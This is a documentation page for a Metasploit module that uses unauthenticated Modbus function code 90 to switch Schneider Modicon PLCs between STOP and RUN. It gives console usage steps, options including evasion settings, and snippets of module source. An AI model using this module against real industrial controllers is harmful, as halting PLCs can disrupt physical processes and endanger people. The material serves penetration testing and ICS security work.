Schneider Modicon Remote START/STOP Command - Metasploit


This page contains detailed information about how to use the auxiliary/admin/scada/modicon_command metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Schneider Modicon Remote START/STOP Command
Module: auxiliary/admin/scada/modicon_command
Source code: modules/auxiliary/admin/scada/modicon_command.rb
Disclosure date: 2012-04-05
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 502
List of CVEs: -

The Schneider Modicon with Unity series of PLCs use Modbus function code 90 (0x5a) to perform administrative commands without authentication. This module allows a remote user to change the state of the PLC between STOP and RUN, allowing an attacker to end process control by the PLC. This module is based on the original 'modiconstop.rb' Basecamp module from DigitalBond.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/admin/scada/modicon_command
msf auxiliary(modicon_command) > show targets
    ... a list of targets ...
msf auxiliary(modicon_command) > set TARGET target-id
msf auxiliary(modicon_command) > show options
    ... show and set options ...
msf auxiliary(modicon_command) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage

Here is how the admin/scada/modicon_command auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/scada/modicon_command

msf6 auxiliary(admin/scada/modicon_command) > show info

       Name: Schneider Modicon Remote START/STOP Command
     Module: auxiliary/admin/scada/modicon_command
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-04-05

Provided by:
  K. Reid Wightman <[email protected]>
  todb <[email protected]>

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  MODE    STOP             yes       PLC command (Accepted: STOP, RUN)
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   502              yes       The target port (TCP)

Description:
  The Schneider Modicon with Unity series of PLCs use Modbus function 
  code 90 (0x5a) to perform administrative commands without 
  authentication. This module allows a remote user to change the state 
  of the PLC between STOP and RUN, allowing an attacker to end process 
  control by the PLC. This module is based on the original 
  'modiconstop.rb' Basecamp module from DigitalBond.

References:
  http://www.digitalbond.com/tools/basecamp/metasploit-modules/

Module Options

This is a complete list of options available in the admin/scada/modicon_command auxiliary module:

msf6 auxiliary(admin/scada/modicon_command) > show options

Module options (auxiliary/admin/scada/modicon_command):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   MODE    STOP             yes       PLC command (Accepted: STOP, RUN)
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   502              yes       The target port (TCP)

Advanced Options

Here is a complete list of advanced options supported by the admin/scada/modicon_command auxiliary module:

msf6 auxiliary(admin/scada/modicon_command) > show advanced

Module advanced options (auxiliary/admin/scada/modicon_command):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/scada/modicon_command module can do:

msf6 auxiliary(admin/scada/modicon_command) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/scada/modicon_command auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/scada/modicon_command) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

packet too large, sorry

Here is a relevant code snippet related to the "packet too large, sorry" error message:

46:	
47:	  # this is used for building a Modbus frame
48:	  # just prepends the payload with a modbus header
49:	  def makeframe(packetdata)
50:	    if packetdata.size > 255
51:	      print_error("packet too large, sorry")
52:	      print_error("Offending packet: " + packetdata)
53:	      return
54:	    end
55:	    payload = ""
56:	    payload += [@modbuscounter].pack("n")

Offending packet

Here is a relevant code snippet related to the "Offending packet" error message:

47:	  # this is used for building a Modbus frame
48:	  # just prepends the payload with a modbus header
49:	  def makeframe(packetdata)
50:	    if packetdata.size > 255
51:	      print_error("packet too large, sorry")
52:	      print_error("Offending packet: " + packetdata)
53:	      return
54:	    end
55:	    payload = ""
56:	    payload += [@modbuscounter].pack("n")
57:	    payload += "\x00\x00\x00" #dunno what these are

Invalid MODE

Here is a relevant code snippet related to the "Invalid MODE" error message:

169:	    case datastore['MODE']
170:	    when "STOP"
171:	      stop
172:	    when "RUN"
173:	      start
174:	    else
175:	      print_error("Invalid MODE")
176:	      return
177:	    end
178:	  end
179:	end

Go back to menu.

References

See Also

Check also the following modules related to this module:

Authors

  • K. Reid Wightman <wightman[at]digitalbond.com>
  • todb

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.